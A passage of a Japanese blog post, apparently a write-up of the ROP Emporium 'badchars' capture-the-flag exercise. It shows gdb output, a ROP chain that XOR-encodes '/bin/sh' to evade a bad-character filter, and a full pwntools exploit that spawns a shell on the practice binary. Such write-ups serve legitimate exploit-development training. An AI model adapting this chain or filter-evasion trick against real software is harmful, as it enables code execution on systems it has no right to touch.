   0x0000000000400ad9 <+153>:	jb     0x400a86 <checkBadchars+70>
   0x0000000000400adb <+155>:	nop
   0x0000000000400adc <+156>:	pop    rbp
   0x0000000000400add <+157>:	ret    
End of assembler dump.
gdb-peda$ 

<checkBadchars +12>から<checkBadchars +40>にかけてBadcharsとして挙げられた文字をstackに積んでいる。
<checkBadchars +108>でstackに積んだBadcharsと入力文字を比較している。

gdbでstep実行して動作を確認してくと、badcharに当たる文字を0xebに置き換えていることがわかる。
下の出力ではbintestを入力値としたが、badcharが0xebになっている

gdb-peda$ c
badchars by ROP Emporium
64bits

badchars are: b i c / <space> f n s
> bintest
[-------------------------------------code-------------------------------------]
   0x4009c1 <pwnme+204>:	add    rcx,0x10
   0x4009c5 <pwnme+208>:	mov    rsi,rax
   0x4009c8 <pwnme+211>:	mov    rdi,rcx
=> 0x4009cb <pwnme+214>:	call   0x400740 <memcpy@plt>
   0x4009d0 <pwnme+219>:	mov    rax,QWORD PTR [rbp-0x28]
   0x4009d4 <pwnme+223>:	mov    rdi,rax
   0x4009d7 <pwnme+226>:	call   0x4006d0 <free@plt>
   0x4009dc <pwnme+231>:	nop
Guessed arguments:
arg[0]: 0x7fffffffe100 --> 0x0 
arg[1]: 0x602260 --> 0xa74eb6574ebebeb 
arg[2]: 0x8 
arg[3]: 0x7fffffffe100 --> 0x0 

write4の問題ではsystem(/bin/sh)を呼び出すためにpayloadに/bin/shの文字を含んでいたが、今回はその文字が0xebに置き換えられてしまう。
問題文にもあるようにXORを使って、checkBadchars関数をすり抜けるようにROPをつくる必要がある。

Moar XOR

作成したROPは以下の通り処理を行う。

  1. メモリ上に'/bin/sh' ^ 0xffの値を格納する。
  2. ('/bin/sh' ^ 0xff) ^ 0xffを1文字ずつ計算し、メモリ上に/bin/shの文字を作成する。
    XORでは第一引数に処理結果が格納される。
  3. 作成した/bin/shを引数としてsystemを実行する。
+--------------------+
|       dummy        |
+--------------------+
| pop r12 ; pop r13  |
+--------------------+
|  /bin/sh ^ f0xff   |
+--------------------+
|    write address   |
+--------------------+
|    mov [r13],r12   |
+--------------------+

+--------------------+
| pop r14 ; pop r15  |
+--------------------+
|         0xff       |
+--------------------+
|    write address   |
+--------------------+
|   xor [r15] r14b   |
+--------------------+
| pop r14 ; pop r15  |
+--------------------+
|         0xff       |
+--------------------+
|  write address +1  |
+--------------------+
|   xor [r15] r14b   |
+--------------------+
| pop r14 ; pop r15  |
+--------------------+
|         0xff       |
+--------------------+
|  write address +2  |
+--------------------+
|   xor [r15] r14b   |
+--------------------+
| pop r14 ; pop r15  |
+--------------------+
|         0xff       |
+--------------------+
|  write address +3  |
+--------------------+
|   xor [r15] r14b   |
+--------------------+
| pop r14 ; pop r15  |
+--------------------+
|         0xff       |
+--------------------+
|  write address +4  |
+--------------------+
|   xor [r15] r14b   |
+--------------------+
| pop r14 ; pop r15  |
+--------------------+
|         0xff       |
+--------------------+
|  write address +5  |
+--------------------+
|   xor [r15] r14b   |
+--------------------+

+--------------------+
|        pop rdi     |
+--------------------+
|    write address   |
+--------------------+
|      system@plt    |
+--------------------+

/bin/shを書き込むメモリのアドレスをどこにするかはwrite4を参考にして決定。

gdb-peda$ readelf
.interp = 0x400238
.note.ABI-tag = 0x400254
.note.gnu.build-id = 0x400274
.gnu.hash = 0x400298
.dynsym = 0x4002c8
.dynstr = 0x400448
.gnu.version = 0x4004e0
.gnu.version_r = 0x400500
.rela.dyn = 0x400530
.rela.plt = 0x400590
.init = 0x400698
.plt = 0x4006c0
.plt.got = 0x400780
.text = 0x400790
.fini = 0x400bc4
.rodata = 0x400bd0
.eh_frame_hdr = 0x400c38
.eh_frame = 0x400c90
.init_array = 0x600e10
.fini_array = 0x600e18
.jcr = 0x600e20
.dynamic = 0x600e28
.got = 0x600ff8
.got.plt = 0x601000
.data = 0x601070
.bss = 0x601080
gdb-peda$ 
gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/root/ROP_Emporium/badchars/badchars
0x00600000         0x00601000         r--p	/root/ROP_Emporium/badchars/badchars
0x00601000         0x00602000         rw-p	/root/ROP_Emporium/badchars/badchars
0x00007ffff7df6000 0x00007ffff7e1b000 r--p	/usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7e1b000 0x00007ffff7f62000 r-xp	/usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f62000 0x00007ffff7fab000 r--p	/usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fab000 0x00007ffff7fac000 ---p	/usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 r--p	/usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 rw-p	/usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 rw-p	mapped
0x00007ffff7fd1000 0x00007ffff7fd4000 r--p	[vvar]
0x00007ffff7fd4000 0x00007ffff7fd5000 r-xp	[vdso]
0x00007ffff7fd5000 0x00007ffff7fd6000 r--p	/usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd6000 0x00007ffff7ff4000 r-xp	/usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 r--p	/usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p	/usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p	/usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p	mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p	[stack]
gdb-peda$ 

書き込み権限があるbss領域をwrite addressとして使用する。

from pwn import *

conn = process('./badchars')

system_addr=0x4006f0  # system@plt
xor_addr=0x400b30 # xor    BYTE PTR [r15],r14b ; ret
mov_r13_r12_addr=0x400b34 # mov    QWORD PTR [r13+0x0],r12 ; ret
pop_rdi_addr=0x400b39 # pop rdi ; ret 
pop_r12_r13_addr=0x400b3b # pop r12 ; pop r13 ; ret
pop_r14_r15_addr=0x400b40 # pop r14 ; pop r15 ; ret
write_mem_addr=0x6010f0



payload = 'A'*40

payload += p64(pop_r12_r13_addr)
payload += '\xd0\x9d\x96\x91\xd0\x8ch\x00'
payload += p64(write_mem_addr)
payload += p64(mov_r13_r12_addr)


payload += p64(pop_r14_r15_addr)
payload += p64(0xff)
payload += p64(write_mem_addr)
payload += p64(xor_addr)

payload += p64(pop_r14_r15_addr)
payload += p64(0xff)
payload += p64(write_mem_addr+1)
payload += p64(xor_addr)

payload += p64(pop_r14_r15_addr)
payload += p64(0xff)
payload += p64(write_mem_addr+2)
payload += p64(xor_addr)

payload += p64(pop_r14_r15_addr)
payload += p64(0xff)
payload += p64(write_mem_addr+3)
payload += p64(xor_addr)

payload += p64(pop_r14_r15_addr)
payload += p64(0xff)
payload += p64(write_mem_addr+4)
payload += p64(xor_addr)

payload += p64(pop_r14_r15_addr)
payload += p64(0xff)
payload += p64(write_mem_addr+5)
payload += p64(xor_addr)

payload += p64(pop_rdi_addr)
payload += p64(write_mem_addr)
payload += p64(system_addr)

conn.sendline(payload)
conn.interactive()
# python ./badchars.py 
[+] Starting local process './badchars': pid 6280
[*] Paused (press any to continue)
[*] Switching to interactive mode
badchars by ROP Emporium
64bits

badchars are: b i c / <space> f n s
> $ cat flag.txt
ROPE{a_placeholder_32byte_flag!}
$ 
1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?